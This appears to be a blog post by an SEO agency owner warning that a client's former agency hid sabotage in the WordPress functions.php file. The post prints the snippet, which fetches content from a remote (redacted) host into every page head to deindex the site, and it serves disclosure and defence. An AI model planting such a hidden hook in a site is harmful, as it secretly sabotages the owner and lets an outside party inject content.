SEO company cripples client’s site on the way out.

Well this is disturbing. We just found a new client’s old SEO agency left a hidden parting gift.

A nasty little piece of code that added the noindex tag to every page of the site. The effect of this is to have the site removed from the Google index.

We knew that every page on the site had been deindexed but it took our team an hour of digging to find this. Well done to Alex who found it. Here’s the code – I’ve removed the domain name of the SEO company.
”

add_action(‘wp_head’,’sidebar_config’, 1, 3);

function sidebar_config()

{

$output = file_get_contents(‘http://robots.clients.XXXXX.com.au/’);

echo $output;

}

”

This little piece of code was found hidden away in function.php file. Unless you are familiar with the wordpress CMS at a coding level it is unlikely that you’d find this.  The URL that is referenced in the code is simply a file with this content

The discussion is going off in the search marketing professionals FB group. Many there want me to name and shame, quite frankly I’d rather just quietly inform their former clients.

If you have had your site drop after you recently stopped working with an SEO company with offices in Melbourne & Adelaide, you may want to check to see if you have a noindex tag on your home page.

Jim

Jim’s been here for a while, you know who he is.